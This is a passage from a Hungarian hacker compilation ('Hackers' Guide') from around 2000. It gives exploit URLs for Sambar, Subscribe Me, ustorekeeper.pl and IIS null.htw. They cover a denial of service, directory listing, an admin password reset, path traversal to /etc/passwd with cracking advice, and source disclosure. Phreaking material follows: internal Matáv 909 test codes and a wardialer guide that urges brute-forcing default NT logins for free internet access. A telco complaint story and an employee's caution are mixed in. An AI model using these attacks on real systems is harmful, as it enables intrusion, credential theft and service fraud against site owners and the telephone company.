Szóval a lényeg, hogy a 80-as portra kell küldeni mindenféle szemetet : Elöször egy "GET<ENTER>" karaktersorozatot, majd ezután annyi <ENTER> -t, amíg a server ki nem nyiffan (Tapasztalataim szerint <ENTER> helyett bármilyen karakter jó,de az eredeti müben így írták). Ha az exploit müködik,akkor a progy szó nélkül eltünik a task-listából. :))

(A www.sambar.com-mal ne is próbálkozz, nem fog sikerülni, ugyanis az újabb verziókban ez már nem müxik.)

Egy másik jól kihasználható dolog, hogy a WinFos ugye sz*rik a file-hozzáférési jogokra, meg ilyesmikre. Amikor meghívunk egy CGI-t,akkor a serverprogy átadja

273

Hackers’ Guide

neki a vezérlést, és fikarcnyit sem tördik azzal, hogy az esetleg milyen file-okhoz fér hozzá....

(Tipp : ha a server defaultra lett installálva,müködhet a mailto.pl script is... 1* már bejött)

-The NmY- ************************************************************************************************ Sambar Server search CGI bug

A Sambar Server csomag tartalmaz egy non-caching HTTP proxy servert és kezdetleges SMTP, POP3, és IMAP4 proxy serverseket. Eredetileg Sun Workstation (UNIX)-re fejlesztették ki, és így portolták a PCre (Windows 32). Ezzel a buggal bármely támadó megnézheti a server könyvtárainak tartalmát.

Kipróbálva: Sambar Server 4.4 Beta 3

A sebezhetőség a search.dll Sambar ISAPI Search CGI -ben rejlik, amelyet a termékkel szállítanak. Ez a dll nem ellenőrzi a 'query' parametert, amely a servernek átadódik, így egy megfelelő URL-t létrehozva belenézhetünk a server könyvtárjaiba, és file-jaiba.

Az exploit:

http://www.example.com/search.dll?search?query=%00&logic=AND

A jelenlegi working directory tartalmát fogja visszaadni.

http://www.example.com/search.dll?search?query=/&logic=AND

A root dir tartalmát fogja visszaadni.

Eredeti info : Dethy. ************************************************************************************************

274

Hackers’ Guide

Subscribe Me Exploit (subscribe.pl) Script megnevezése: Subscribe Me Hibás típusok: Az összes Lite változatnál Script letölthető: http://www.cgiscriptcenter.com/

A probléma leírása A hibás scriptnek köszönhetően egy távoli hozzáféréssel elérhetünk egy adminisztrációs vezérlő panelt és itt megváltoztathatjuk az adminisztrátor jelszavát majd beléphetünk az új adminisztrátori kóddal és kedvünkre variálhatunk. Egy hivatkozás megnyitásának köszönhetően egy POST parancssal a script megengedi a jelszó módosítást. A hivatkozás az alábbi: www.server.com/cgibin/subscribe.pl?setpasswd

A problémára megoldást még nem találtak és ha jól tudom még nincs is hozzá (2001. 02. 20.) de remélem senki nem fog vele visszaélni...

A bizonyos oldal, melynek segítségével megváltoztathatod az admin kódját

Nestan [FCF] mailto: [email protected]

·

Külön köszönet a segítségért az alábbiaknak: Formater, RSC

Az eredeti cikk a Hack.Co.Za ideiglenes szerveréről származik. Az eredeti cikket angol nyelven n3O írta. Kérlek, ha ráérsz látogasd meg oldalát a www.alldas.de

címen! Köszönöm. ************************************************************************************************ Unstorekeeper.pl Bug

Nos létezik egy "ustorekeeper.pl" nevu "Online Shopping System" cgiscript... A dolog lenyege, hogy mint a többi hivatalos cgi script ez is tartalmaz hibákat! :] A támadható verzió: 1.61 (tobbit nem testeltem)

275

Hackers’ Guide

A gyártó: Microburst Technologies , http://www.uburst.com A hiba: a '..' es '/'nincsenek szűrve ezért simán olvashatod a fájlokat bárhol...

·

Az egészet ugye kereséssel kezdjuk... (www.altavista.com...), aztán jöhet a csoda, tehát: http://www.shop.com/cgi-bin/ustorekeeper.pl?command=goto&file=../../../../../../../../etc/hosts A profibbak már rájöhettek, hogy ha kicsit változtatunk a string végén akkor akár a pass file-t is megkaphatjuk! http://www.shop.com/cgi-bin/ustorekeeper.pl?command=goto&file=../../../../../../../../etc/passwd De ha a pass file shadowolt akkor sincs gond! ;] És ilyeneket is probáljatok ki! ;] http://www.shop.com/cgi-bin/ustorekeeper.pl?command=goto&file=../../../../../../../../bin/ls Ha megvan a pass file kuldj ra valmi john fele cuki progit, aztan ssh-zal be es ott mar kenyelmesebben tudsz tevekenykedni! ;] Ja es, ugye emlitettem, hogy ez egy shopping cgi, szerintem, ha ügyesek vagytok talán tudtok ingyen vasarolni! :]]]]]

[D]omIni$ [FCF] mail: [email protected]

Forrás: a hibat a cgisecurity.com team-e fedezte fel... ************************************************************************************************ .asp fájlok forráskódjának megtekintése Az exploit ahttp://neworder.box.sk-ról származik. Ha ilyen kérés érkezik:

http://www.example.com/null.htw?CiWebHitsFile=/default.asp&CiRestriction=none&CiHiliteType=Full

276

Hackers’ Guide

akkor csak az a HTML kód jön vissza, amelyet a felhasználó normálisan is lát. DE ha egy %20 karaktert (urlencoded SPACE) adunk a CiWebHitsFile paraméter után:

http://www.example.com/null.htw?CiWebHitsFile=/default.asp%20&CiRestriction=none&CiHiliteType=Full

akkor az egész forráskódot megkapjuk.

A probléma részben abban áll, hogy a "null.htw" fájl nem valódi, csak egy virtuális fájl, amelyet a memóriában tárolnak. Tehát még ha nincs is más valódi .htw fájl a fájlrendszeren, az IIS-ek amelyek az Index Servert futtatják akkor is védtelenek. A null.htw-hez érkezo kéréseket a webhits.dll szolgálja ki.

Megoldás:

Ha a webhits szolgáltatás nem szükséges, akkor egyszeruen az Internet Service Manager MMC-ben vegyük le a .htw társítást a webhits.dll-rol.

Cerberus Security Team ************************************************************************************************

Phreak Kálváriám a Matávval: avagy ügyintézés RULEZ!!!!

Történt egy szép szombat délutánon hogy fel akartam menni internetre letölteni a leveleimet. Tárcsázáskor fel szoktam venni a fülhallgatót hogy minden rendben van e meg minden de most nem tettem ezt valamilyen oknál fogva. Már kezdett gyanús lenni hogy sokáig tárcsáz a gép ezért felvettem és belehallgattam. Erre mithallok? Foglalt. Újrahívom : sipol sipol és a végén sip sip siiiiip siiiiiip brbr beep beep beep beep...(beep beep beep = foglalt jelzes:) Ezután odarohantam a telefonhoz és felhívtam a hibabejelentot. A néninek jelentettem a hibát és o biztosított róla hogy pár napon belül ki lesz javítva. Közben megtudtam hogy az összes szombathelyi analógosnak ugyanilyen gondjai vannak szóval beszóltam megint a 143-nak hogy NE küldje a szereloket mert nem csak nálam van a gond. Ez volt vasárnap.( Ekkor már két napja nem volt jó a vonal szhelyen...! ) Ezután hétfo délelott megjelentek a szerelok és felcsörgették a tesómat aki hajnali fél7kor ért haza Svájcból. Tesóm mire

277

Hackers’ Guide

ajtóhoz ért arra már elmentek de hagytak a postaládában ilyen lapot hogy voltak itt és jelentsem be a 143-on hogy mikor vagyok itthon. Felhívtam hát a kedveseket és megmondtam hogy mikor jöjjenek. A megadott idopontban persze már nem jöttek, gondolom eljutott hozzájuk az infó hogy NEM csak nálam van a hiba.. ( bár igaz hogy a 143-asoknak ezt magyaráztam már 2 teljes napja.. ) Szóval semmi szerelok..aztán egyik reggel megkönnyebbülve láttam hogy egy matávSOKK kocsi áll közel a házunkhoz. Már kezdtem örülni hogy végre megjavítják a hibás dolgokat. Amikor hazaértem délután anyu avval fogadott hogy felhívták 2 helyrol is a matávosok és megkérdezték mi a probléma. ( ANNAK ELLENERE hogy én világosan elmondtam nekik hogy mi a gond!! Nem értem akkor miért kellett mégegyszer megkérdezni..lehet szokék az ügyintézok? :))) Bocs evvel nem akarok senkit bántani de 1 biztos: hogy állatira hülyék... ) Na szóval felhívtam oket és nagyon nagyon beolvastam nekik a vonal másik végén a no szóhoz sem tudott jutni..végül csak annyit mondott hogy megnézik mi lehet a gond...én mondtam neki hogy szerintem a központban kezdjék mert ott lehet a hiba. Erre a nénike aztmondja hogy a KÖZPONTBÓL bevizsgálták a vonalamat és NINCS VELE SEMMI GOND. Hát erre a mondatra eldobtam az agyamat, mégjobban kikeltem magamból. Ennyire hülye nem lehet valaki könyörgöm!!! Mondom a néninek hogy én a telközpontra gondoltam helloka! Elkezdi hogy azt is megnézték és avval sincs gond..najó aztán itt lecsaptam a telefont egy káromkodás közepette és felküzdöttem magam netre ( 14.400 bps...nemsemmi!! MATÁV RULZ ) és nagynehezen elküldtem egy levelet a Straub Eleknek. ( gyk:Matáv vezérigazgató ) O másnap visszaírt, hogy kivizsgálja a problémát és munkatársai majd értesítenek. Vártam vártam...EGYETLENEGY TELEFON SEM JÖTT A MATÁVTÓL..hmm mondom ez érdekes. Felhívtam mégegyszer a 143-at és jelentetem a hibát. Ekkormár egy szakértobb nénit kaptam aki azt akarta bemagyarázni nekem hogy a helyi számok ( alias 6 szamjegyű, digitalis elender behivó peldául ) mikor felhívom felmennek pestre, és onnan jönnek vissza Szombathelyre. Ja és még azt is mondta, hogy ok ( 143-asok ) Gyorben vannak és ott is van 1 netszolgáltató aminek helyi száma van, és az is felmegy elotte pestre. Ez a varáció egyébként úgy jutott eszébe neki hogy megemlítettem hogy ismerosöm MatávNet-es és o mégcsak fel se tud menni. Erre a néni mondja hogy ok most fejlesztenek pestre, és ezér lehet..mondom érdekes ugyanez van Datanettel, Elenderrel, Nextrával...ja elkezdi jólvan akkor szaporítsuk a hibabejelentések számát eggyel, felvesszük ezt hibának. Megköszöntem neki szépen illedelmesen, és letettem a telefont. Vártam a csodára..a csoda nem jött, sot még egy telefont se kaptam hogy folyna az ügyintézés vagy valami. Aztán márc 11-én nem bírtam tovább, írtam mégegy levelet a Straub bácsinak. Ma március 12-e van, és nemrég hívtam fel a kedves 143-at újra. Ismét egy nénivel találtam szemben magam. Megérdeklodtem hogy mi van a hibával amit jelentettem...a néni aztmondja hogy a Szombathelyi ADS kozpont a hibás, és már javítják... ( huh mint ha ezt én megmondtam volna 1 héttel korábban nemde? ) Annakellenére a vonal most sem jó, és tegnap este egy havernak ugyanezt mondták, hogy már javítják és türelmünket kérik. Hát elég érdekes hiba lehet az, amit 2 napig kell javítani hivatásos Matáv szakembereknek nemde? Ennyit a Matávról... A történet további részeit majd leírom. A connect még mindig nemjó ... pedig már javitják. Jah! Tegnap kaptam kézhez az új hülye kagylós számlájukat..az van irva rá hogy: A szavakon túl. Hát én ennek az ügynek a során nem sok mást láttam a szavakon túl...végülis jó szlogen :)) Inkább úgy mondanám hogy találó!

278

Hackers’ Guide

Új bejegyzés: Ma Március 12 van. Amint hazaértem lattam megint a sok Matávos kocsit és már kezdtem örülni :) Aztán megin látom hogy összesípolásnál leakad, ahova meg felenged ott 21600bps. Felhívtam hát a kedvenc számomat ( 143 ami immár a délutáni idotöltésemmé vált ) és a néni tájkékoztatott róla hogy SZOFTVERHIBA van és már javítják. A néni elmondta hogy ez a szoftverhiba pesten van és már Sopronban is rossz a vonal, sot nála otthon is!( Örültem mind állat mert gondoltam hogyha már Sopronban is rossz SOT a Matávosoknál otthon akkor HAMAR ki fogják javítani :) Kérdeztem tole hogy mondja már meg hogy a fenébe mehet fel egy HELYI behívó pestre. Erre o : hát Pesten van az internetezok központja! Mondom aha az érdekes. Feltettem neki a kérdést: és egy csapat szakavatott Matáv szerelonek 1,5 hétig tart ( oh ha csak addig tartana! ) a hiba kijavítása? Mert mondom már 1,5 hete rossz...erre aztmondja hogy már a !VEZETOSÉG! is dolgozik rajta..hehe szegények ugye megszokták a seggükön ülést most nehéz újra munkába állniuk :DDD Szóval eddig ennyi...nagyon kiváncsi vagyok mi lehet ez a szoftverhiba és egyeltalán hogy tényleg dolgoznak e már rajta... Ma szintén Március 12 van. Pár órával azután hogy a nénivel beszéltem felhívott ugyanez a néni és elmondta hogy szoftverhiba van fenn Pesten és már dolgoznak rajta. ( de miért nem esett le neki hogy kb fél órával ezelott beszéltem vele? :DDDDD ) MÁRCIUS 13: Erre a napra mindig emlékezni fogok :) MEGJAVULT! Egyszóval a Matávnak 1,5 hét és 2 nap kelett ahhoz, hogy megtudja HOL a hiba és hogy ki is javítsa...GRATULÁCIÓ!! Jah egyébként este felhívott a 143-tól egy néni és *megköszönte* hogy jelentettem a hibát, és mondta hogy tényleg náluk volt a hiba, és elnézésemet kérik... Tanulság ebbol? Matáv. A szavakon túl semmit sem csinálunk..

© 2000 by MMan. ************************************************************************************************ ************************************************************************************************ A 909 használata

Helló mindenkinek!

279

Hackers’ Guide

Nos itt van egy-két matáv info amit _CSAK_ belso matáv embereknek szabadna tudniuk, dehát igencsak megbántott az a ronda csúnya magas telefonszámla.... Az anyag _NEM_ saját, ezért egypár nevet és email címet kiszedtem belole az adatvédelem miatt...

Vonal-, és készülékvizsgálat az elöfizetö készülékéröl.

Itt van némi info a 909 használatáról:

Ez nem nyivános szolgáltatás, hanem, egy csak _belsö_ használatra szánt méröberendezés. Ezért igen korlátozott számban áll rendelkezésre. ( 10000 vonal/ 1 db. )

A konkrét müködése központtípusonként kissé eltér, söt a crossbar központoknál bárhol lehetnek helyi sajátos eltérések.

A mérés elvégzése után hangokkal tájékoztat a mérés eredményéröl. Altalánosságban elmondható: - folyamatos hang = megfelelö - szaggatott hang = nem megfelelö Valójában kétféle szaggatott hanggal jelez vissza, külön a névleges értéknél alacsonyabb, illetve magasabb értékre, de hogy ez konkrétan milyen hang, az függhet a helyi beállítástól. Ezért a konkrét helyi beállítás ismeretének hiányában csak tájékoztató jellegü információt ad.

Használata ingyenes.

Egy általános müködés az ARF (crossbar) központokban: A 909 tárcsázása után letenni, a központ visszahív, és az új tárcsahangra betárcsázhatóak a következö utasításszámok.

10 tárcsasebesség mérése / névleges sebesség 10 impulzus/sec tárcsahang = megfelelö, szaggatott hang = nem megfelelö 20 tárcsasebesség mérése / névleges sebesség 20 impulzus/sec tárcsahang = megfelelö, szaggatott hang = nem megfelelö 3 csengövizsgálat teljes csengetöfeszültséggel letétel után folyamatosan csenget 4 csengövizsgálat fél csengetöfeszültséggel letétel után szaggatottan csenget 5 'a' ág és a föld közötti szigetelési ellenállás mérése letétel után visszahív, és közli a mérési eredményt tárcsahang = megfelelö, szaggatott hang = nem megfelelö 6 'b' ág és a föld közötti szigetelési ellenállás mérése letétel után visszahív, és közli a mérési eredményt tárcsahang = megfelelö, szaggatott hang = nem megfelelö 7 'a' ág és 'b' ág közötti szigetelési ellenállás mérése letétel után visszahív, és közli a mérési eredményt tárcsahang = megfelelö, szaggatott hang = nem megfelelö 8 a vonal hurokellenállásának mérése tárcsahang = megfelelö, szaggatott hang = nem megfelelö

280

Hackers’ Guide

9 méröberendezés ellenörzése, megfelelö müködés esetén 900 Hz- es hang hallható

Egy általános müködés az AXE központokban:

Vizsgaszám a 909 , miután ezt tárcsáztuk csengetési visszhangot hallunk. Ekkor visszatesszük a helyére a kézibeszélöt és várunk.

A központ kb. 5 másodperc múlva vissza hiv. Felemeljük a kézibeszélöt - ekkor tárcsázási hangot hallunk - és beadjuk a megfelelö kódot. A 0, 2, 3, 4 vagy 10-es kód beadása után egy magasabb frekvenciájú hangot hallunk. A központ ezzel jelzi, hogy elfogadta az általunk beadott kódot. Ekkor vissza tesszük a helyére a kézibeszélöt, a központ szinte azonnal vissza csönget bennünket. A 0, 2, 3, és 4-es szigetelés méréseknél, ha a mért érték megfelelö akkor a vissza csöngetés után tárcsázási hangot hallunk, ha nem megfelelö akkor szaggatott hangot hallunk. A 10-es csengötesztnél - most pillanatnyilag - a központ addig csönget amig fel nem vesszük, miután felvettük tárcsázási hangot hallunk, ekkor újjabb kód adható be.

A 6, 7, 11, 12, 13 vagy 14-es kód beadása után a központ nem ad nyugtázási jelet.

A 6-os kód beadása után - hivómü teszt - DTMF készülék esetén a billentyüket az alábbi sorrenben kell megnyomni "123456789*0#" , hurokszaggatásos hivómü esetén csak egy darab 0-t kell tárcsázni. Ha a hivómü renben van akkor tárcsázási hangot hallunk - és ekkor újjabb kód beadható - ha a hivómü hibás akkor szaggatott hangot hallunk.

A 7-es kód beadásával a központban lévö tesztelö berendezést vizsgálhatjuk le, ha a 7-es beadása után tárcsázási hangot hallunk akkor a tesztelö berendezés rendben van, ha hibás a tesztelö berendezés akkor a 7-es beadása után szaggatott hangot hallunk.

A 11-es kód beadásával hurokellenállás mérést végezhetünk.Ha a 11-es beadása után tárcsázási hangot hallunk akkor a hurokellenállás megfelelö, ha a 11-es beadása után szaggatott hangot hallunk akkor a hurok ellenállás nem megfelelö.

A 12-es kód beadásával az elöfizetöi tarifa számlálót tesztelhetjük. A 12-es beadása után a központ 11 db tarifa impulzust küld az elöfizetö készülékére. A tarifa impulzusokat a központ csak a vonalra küldi, a központban lévö elöfizetöi tarifaszámlálókat nem lépteti.

A tarifa impulzusok kiküldése után tárcsázási hangot hallunk, ekkor újjabb kód adható be.

A 13-as kód beadásával az elöfizetö készülékén lévö "flash" vagy "R" gombot tesztelhetjük. A 13-as beadása után nyomjuk meg a "flash" gombot , ha rendben van akkor tárcsázási hangot hallunk, ha hibás akkor szaggatott hangot.

A 14-es kód beadásával dióda vizsgálatot végezhetünk. Ha rendben akkor a 14-es beadása után tárcsázási hangot hallunk, ha hibás akkor szaggatott hangot hallunk.

Kód leirás

281

Hackers’ Guide

0 Szigetelési ellenállás mérés AB ág és a -48V között. 2 Szigetelési ellenállás mérés AB ág és a föld között.

3 Szigetelési ellenállás mérés A és B ág között. 4 Szigetelési ellenállás mérés AB ág és a föld között. 5 Szigetelési ellenállás mérés A és B ág között. 6 Hivómü teszt 7 Vizsgáló berendezés tesztelése 10 Csengö tesztelése, teljes csengetöfeszültséggel. 11 Hurokellenállás mérése 12 Elöfizetöi tarifaszámláló tesztelése 13 "flash" gomb tesztelése 14 Dióda teszt

TelePhonia ...

Hi EveryBody ...

Nagyon meglepett az új terület. Igazándiból örülök a megjelenésének,azonban a levelek olvasása után kicsit elcsüggedtem,mert úgy érzem az közhasznú információk mellett olyan dolgok is megjelennek a területen, amit egy (még a telefonvonalakt aktívan módemekkel nyuvô) átlag elôfizetônek NEM KELL TUDNIA. Ez érzésem szerint olyan probléma lehet e terület muködésével kapcsolatban, mely egy a témában kellô szakértelemmel rendelkezô moderátor felügyelete alatt megfogható, bár a már publikussá vált muszaki számokat még moderátori figyelmeztetésre sem lehet csak úgy elfelejtetni az emberekkel. Nos aki idáig elküzdötte magát soraim olvasásával, talán most felteszi magában a kérdést,"Végre itt egy remek terület, megtudhatunk egy csomó dolgot, talán sok kiskaput is, erre itt van egy a stupid muki, akinek nem tetszik ez az egyész, és ezt nagybetükkel hangoztatja".Tulajdonképpen tetszik,csak (mivel én nem az ELÖFIZETÖK, hanem a MATÁV RT. csapatában játszok ezért) néhány észrevételt szerenék elmondani mindenkinek a területtel kapcsolatban. Tudom senki nem kérdezett de úgy érzem szükséges reagálnom néhány levélre, és felvetôdô kérdésre.

LCR2000

Az LCR 2000 egy számítógépes hibalekezelô rendszer, mely a budapesti telefonos hibabejelentések lekezelését, vizsgálatát teszi lehetôvé. Egy PDP masinán ketyeg, és a vizsgálatot végzô kezelôk a bejelentett hibákkal kapcsolatban tudnak elvégezni méréseket, melyekrôl én nem tudok szinte semmit mesélni. A vizsgálatok mellett a központi adatbázisból a hibára jelentett elôfizetôi adatokat el tudja küldeni az illetékes Távbeszélô Üzem hibaelhárító osztályának (ezen információk természetesen elektronikus úton mennek el {MAN NetWare}). A központosított hibafelvétel mellett ez a rendszer így naprakész információt tud szolgáltatni a Budapesten bejelentett hibák számáról, elhárítási idejükrôl,meg az elôfizetôk cipôméretérôl... Aki aktív felhasználója a MICROTEL BBS -nek, az valószinuleg ismerei a Nedeczky

282

Hackers’ Guide

Zolit, alias Zotyát. Ö ezen rendszerrôl több felvilágosítással tud szolgálni,hisz napi munkája ezen rendszer számítástechnikai oldalával függ össze. (Igaz úgy hallottam most már fôállásban a MICROTEL SysOp -ja, de ez csak egy privát zárójeles megjegzésem).Jómagam pedig ezen rendszer adatbázisának upgrade -olási menetével foglalkozom.

A MATÁV Rt. beruházásainak átadásával és üzembehelyezésével kapcsolatban az igazán korrekt választ csak az illetékes Távbeszélô Üzem Ügyfálszolgálati csoportja tudja megadni. ám számítsál arra hogy mindenhol csak tájékoztató jellegu információt kapsz, hisz beláthatod, hogy az Ügyfeleknek utólagosan nem lehet azt mondani "Sajnos a kivitelezô csúszása miatt mégsem kap távbeszélô állomást a jelzet idôben".

A területen felvetôdô kérdések egy része a távbeszélô állomások adatainak elôfizetôi részrôl történö megváltozása, vagy megváltoztatása a témája, valamint a beadott távbeszélô állomás igények sorsának, elbírálásási rendjének a menete. Ezek olyan információk, melyet csak MATÁV dolgozó tud korrekt módon megválasszolni. Természetesen a tapasztalatok egymás közti megosztáa nagyon hasznos, de ezen információkat ne vegyétek kézpénznek Anélkül, hogy valakit is megbántanék, személyes tapasztalatom az, hogy az Elôfizetôk, várakozó Ügyfelek nagyon gyorsan nagyon sok hülyeséget el tudnak terjeszteni egymás között. Ha figyelembevesszük ezen elektronikus média adatterítési sebességét, úgy érzem egy segítô szándékú, ám téves beltartalommal rendelkezô információ nagyon sok Távbeszélô Üzem Ügyfélforgalmi csoportján jelentôs többletmunkát tud pillanatok alatt felhalmozni. Ezért kérném a SysOp -okat, a terület moderátorának kiválasztásánál próbálják felvenni a kapcsolatot a MATÁV Rt -vel , és a területhez egy patronáló, tanácsadó személy aktív közremuködését kérni. Ha szabad egy tippet adnom, bár nem szeretnék mindenkit a Zotyára szabadítani, de talán Ö tudna e témában tippet adni, hogy kihez lehetne fordulni. Addig is a felvetôdô kérdésekre a következô kormányrendelet ad tájékoztatást. :

A kormány 12/1991.(I.18.) rendelete A tévbeszélô- állomások létesítésére vonatkozó igények teljesítési rendjérôl.

A 909 egy olyan vizsgálószám, amit az elôfizetônek NEM KELL TUDNIA. Ezt nem arra tervezték, hogy mindenki ezt hívja. Amúgy az elektonikus (Tárolt Program Vezérelt) központokban alapállapotban lekérdezhetô, hogy ki mit hívott, viszont az elektromechanikus központokat Budapesten az idén mindenhol felvértezik olyan kiegészítô hardware elemekkel, melyek segítségével a 7A2 és az ARF központok is alkalmassá válnak arra hogy az ilyen muszaki számokat hívogató elôfizetôk nagyon gyors úton beazonosíthatóvá váljanak. Természetesen nem a 909 hívogatása a nagy probléma, hanem a füttyögô, prüttyögô számoké, melyek ha publikussá válnak, igen sokan megpróbálják módemmel izgatni, valami nagy dologra várva. Nos ezek a számok általában vizsgálóvonalak, melyeknek meghatározott feladatuk van. Föleg kódválaszoló, TRT számok produkálnak ilyen hangokat, s alapvetô feladatuk hogy akár egy távbeszélô központon belül, akár központok között egymást felhívják

283

Hackers’ Guide

(mondjuk egy NS15 nevezetu kis kütyü segítségével). A hívások eredményességérôl úgynevezett Minôségi Mutatók készülnek, melyek a központ müködésének bizonyos jóságfokát állapítják meg. Ha az elôfizetôk ezen számokat hívogatják az elôre beprogramozott TRT, NS15 hívások nem tudnak sikeresen lefutni, hisz a hívott szám foglaltá válik az elôfizetô hívásától. Ennek eredményeként romlik a központok minôségi mutatója, ami a nagyobbik baj az pedig az hogy ezzel több embernek jelentôsen megnehezítik az életét, a vélt hiba keresgetésével. Amerikában egy pár évtizede nagy divat volt kisérletezi a DTMF kódokkal. A PhoneHacker -ek próbálták rávenni a távbeszélô központokat vélt, vagy létezô szolgáltatásokra. Ezekrô ha jól emlékszem az 1993. évi novemberi (vagy decemberi) CHIP MAGAZIN közölt egy jópofa cikket. A technika közben fejôdött, s ezek az emberek félrerakták a kis hanggenerátoraikat,mert rájöttek hogy nem ez a legjobb módja az éjszaka eltöltésének, ha az asszony éppen menstruál, Ök meg nem tudnak aludni. Szóval visszatérve az eredeti 909 támára azért mindenki belátja hogy piszok ciki, ha a Matáv muszerésze beüzemel egy távbeszélô állomást, és nem tudja megmutatni, hogy cseng a végberendezés, mert néhány tucat elôfízetô foglalja az összes ehez szükséges áramkört.

999

Már tárgyaltuk a 909 -es szolgálat viselt dolgait. Hála kiképzésünknek megfejtodott a 99 vagy 999 viselt dolga is. Ez mint emlegettük volt tárcsázáskor sípoló, modemszeru hangot hallat, majd tárcsáz. Nos ez egy diagnosztikai egység, amely NEM MODEM. Számol. Feledata a fülkek érme bevetelezésének vizsgálata. Azaz amkior sípol, majd utána a hangja megváltozik kiad egy erme bevetelezo impulzust, aminek hatására a telefonkártya értéke eggyel csökken illetve elnyeli az ermet. Ha normál telefonról hívják akkor egy impulzus számol. Remélem tanulságos volt a cikk...olvasása után énis kicsit meglepodtem és még mindig van egy-két dolog amit nem teljesen értek benne...

© 2000 by MMan. ************************************************************************************************ Mi az a wardialer Nos szerintem mindenki tudja hogy vannak ún. 0680-as számok amik teljesen ingyenesek. Ezután pedig szerintem az emeberek 70-80%-a azt is tudja hogy a sok 0680-s szám valamelyikével internetezni is lehet, egyes esetekben csak hozzáféréssel az adott serverhez (ehhez _nagy_ mák kell) vagy éppenséggel jelszó

284

Hackers’ Guide

és felhasználónév nélkül... A wardialer tehát egy program ami a teáltalad megadott intervallumban(pl. 0680200 000-999) telefonszámokat hív fel. Te belehallgathatsz ezekbe a számokba, így találhatsz rengeteg információs vonalat, és persze carrier-t is.(CARRIER: Az a hang amikor felhívod az internet szolgáltatódat és ilyen fura sípolásokat hallasz... ekkor a modemek információt cserélnek, és megállapodnak egymás közt a kapcsolat sebességérol és egyéb dolgokról.) Szóval wardialerrel elkezdesz 0680-as körzetben keresni. Találsz egy számot pl. ami tegyük fel az elender zöldszáma. (de jó lenne ha lenne ilyen is...bár ki tudja!) Mivel te éppen az Elender Rt. elofizetoje vagy (felhasználóneved és jelszód ott figyelget a kisegíto szerverükön) ezért ennek a számnak megadod a neved, és a jelszód és ingyen internetezel..többet nem lesz gondod a telefonszámlával...nos erre jó a wardialer. Mondhatná valaki hogy jó, de akkor minek ilyen program ami hívogat amikor én telefonról is tudom ugyanezt...hát próbáljátok csak ki. Szerintem úgy 200-300 szám után egészen jól elfárad a kezetek, mindezen felül ha foglalt a hívott szám akkor kézileg kell bontanotok, megha következo számra akartok ugorni akkor nem csak a space-t kell megnyomni hanem klatt, és beütösz megin 10 számjegyet aztán azt veszed észre hogy majd letörik már a kezed :) A wardialerrel talált carriereknek 2 típusa van: ami nem muködik és ami méginkább nem muködik :) Na...szal tegyük fel találsz egy carrier-t. Akkor az elso dolgod hogy felhívod telefonos hálózat kapcsolattal (WIN RULES!!:))) és elotte még bekapcsolod a termninálablak mutatása tárcsázás után menüpontot. Felhívod a megtalált számot és vársz...ha a terminál ablakban vmi szöveg kijön akkor mákod van, mert meg tudod határozni hogy ez melyik szolgáltató/milyen típusú szerver. Ha a terminál ablak üres marad több mint 1-2 percen át akkor nyomsz egy F7-et (folytatás) ami bezárja a terminált. Ekkor a server ellenorzi a login-t(login: név és jelszó) vagy ha nem írtál be semmit akkor kidob egy ablakot ami kéri a login-t. Ha az ablakban szerepel a név, jelszó, tartomány akkor 99.9% hogy WINDOWS NT van a vonal másik végén. Nos az nt-nél is mint mindenhol máshol vannak ún. default loginok. Ezek a default loginok minden nt-n ottvannak telepítés után, és csak a rendszergazdán múlik hogy törli e ezeket. Ezeket ajánlatos 0680-s NT-nél végigpróbálgatni ugyanis van mikor 1-2 ilyen default login-t a rendszerbácsi elfelejt levenni, és akkor iszonyatos nagy mákod van...elofordulhat azis rendszergazdai jogosultságokkal rendelkezo default login-t felejt fenn, akkor nagy az esélyed arra hogy evvel a számmal ingyen internetezz...ha valaki neadjisten találna egy ilyet (ritka, de _VAN_ ) akkor keressen meg aztán megpróbálunk kezdeni vele valamit mert ez így eléggé hosszú lenne. A másik típus amit wardialerrel találhatsz az a Matáv számok... értem ez alatt pl. az 1212-t (ami 0680-ra van átirányítva, tehát amikor az 1212-t hívod akkor lényegében te azt a 0680-s számot hívod fel) és a matáv operátori számokat... és még nem beszéltem az egyéb számokról...(pl 0680200967:)) Szóval akinek mindezek után kedve támad használni a wardialer-t annak mindenben segítek (amiben tudok) a progival kapcsolatosan ... tudom sokan azt hittétek a wardialer ingyen telefonálással egyenlo ... bocs hogy leromboltam illúzióitokat, de ez a kemény igazság! Nos akkor egy-két szó a számlistáról is: Az oldalon mindig találtok új számlistát ami egy ilyen wardialerezés erdeménye ... ezek a carrierek után oda van írva hogy milyen (feltéve ha tudom) Ezek alapján a csúnya hackerenek kedvük támadat brute-force módszerrel az összes login-t kipróbálniuk és találni egy muködot... telefonszámla megoldva! Ezek a számok azért vannak ott az oldalon hogy megnézzétek oket, hátha én elsiklottam egy lényeges részlet felett, és mégis lehet vele internetezni! Nos ami ilyen számot találtok esetleg

285

Hackers’ Guide

azt nemjó továbbadni kétmillió embernek mert megszunik és vége, álmodozhattok egy idoszakról ami volt, és lehetett volna ki tudja meddig ha nem tudta volna kétmillió ember... :(

Nos hogy legyen valami jó is: úgy hallottam van egy db visszakapcsolt matávnet szám... + még valami amiért csak azért is nyomatom a wardialt: most jött meg a telefonszámla, és 8-9e Ft között van : kezdem nem szeretni a matávot...

U.i: Egy nappal késobb a telefonszámlára reagálva az 1212-n akartam volan reklamálni de a 0-s gomb megnyomása után jött a zene...a kapcsolás elmaradt, és 10 teljes percig a suxx matáv zenét kellett hallgatnom. Meguntam és leraktam...hajrá Matáv!

© 2000 by MMan. ************************************************************************************************ Wardialer 1.31 by MMan

Wardial v1.31 by MMan Az elso MAGYAR nyelvu WARDIALER!

ReCompiled at: 2001.01.19 [14:43] Kernel: v5.13

Eddig megjelent verziok:

1.31 : - Koszonet ViDe0-nak aki optimizalta a kodot es kisebb hibakat javitott benne (azaz bennem;) 1.30a: - Tobb apro zavaro hiba javitva. - Parameterek szama bug javitva. - Wrdsetup.exe sokak oromere!(Setup:) Hasznalati utmutatot a program inditasa utan kapsz(szerintem eleg egyszeru). A programbol az S gombbal lehet kilepni ekkor a program letrehozza a start.bat fajlt amivel indithatod a wardialert a setupban beallitott parameterekkel. A setup program egyenlore beta verzioban van ami azt jelenti hogy lehet benne 1-2 hiba!(peldaul hogy leformazza a gepet:))) 1.28: - Menetkozben allithato Timeout. A + es - gombokkal tudod novelni ill. csokkenteni az erteket. - Eltelt ido kijelzes. Amikor elkezd hivni kiirja a mar letelt masodperceket hogy tudd kell e novelni a timeout-ot vagy sem.

286

Hackers’ Guide

